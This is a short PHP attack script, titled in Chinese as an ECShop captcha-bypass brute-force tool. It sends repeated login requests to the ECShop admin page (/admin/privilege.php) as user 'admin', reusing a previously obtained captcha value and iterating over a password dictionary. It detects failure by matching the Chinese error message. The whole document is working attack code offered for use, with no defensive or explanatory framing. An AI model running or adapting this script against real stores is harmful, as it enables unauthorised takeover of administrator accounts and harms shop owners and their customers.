ecshop绕过验证码暴力破解

<?php
$site='http://ecshop.com';
$admin_path='/admin/privilege.php';
$captcha='上一步获取的验证码';
$referer=$site;
function getH($url,$postdata=array()){
global $ch,$referer;
$options = array( CURLOPT_URL =>   $url,
                   CURLOPT_HEADER => false,
CURLOPT_TIMEOUT=> 0.11,
//CURLOPT_FILE=>$f,
CURLOPT_RETURNTRANSFER=>true,
                      CURLOPT_REFERER=>$referer,
 //CURLOPT_POST=>1,
CURLOPT_HTTPHEADER=>array('Content-Type: application/x-www-form-urlencoded; charset=iso-8859-1','Expect:'),
CURLOPT_USERAGENT=>'ie'
                );
          
if(!empty($postdata)){
$options[CURLOPT_POSTFIELDS]=http_build_query($postdata);
} 
$ret = curl_setopt_array($ch,$options);
//$ret = curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//返回一个字符串，而不是直接输出到浏览器
  $ret = curl_exec($ch);

    $info = curl_getinfo($ch);

    if (empty($info['http_code'])) {
        die("No HTTP code was returned"); 
    } else if($info['http_code']==200) {//响应码为200
        return $ret;


    }else{
        #var_dump($info);   
        echo '<br />';
        echo ('响应码：'.$info['http_code']);// 
        echo '<br />';
        echo $postdata['username'].'  ---'.$postdata['password'];
        echo '<br />';
    }


}

$url=$site.$admin_path;
$data=array(
    'username'=>'admin',
    'password'=>'123456ad',
    'captcha'=>$captcha,
    'act'=>'signin'
    );
//词典
$passwds=array('1','2','3','123456a','123456','123456ds');
foreach($passwds as $p){
    $data['password']=$p;
    $res= strip_tags(getH($url,$data));
    if(stripos($res,'您输入的帐号信息不正确')){
        echo 'no';
    }
    echo '<br>------------------------<br>';
}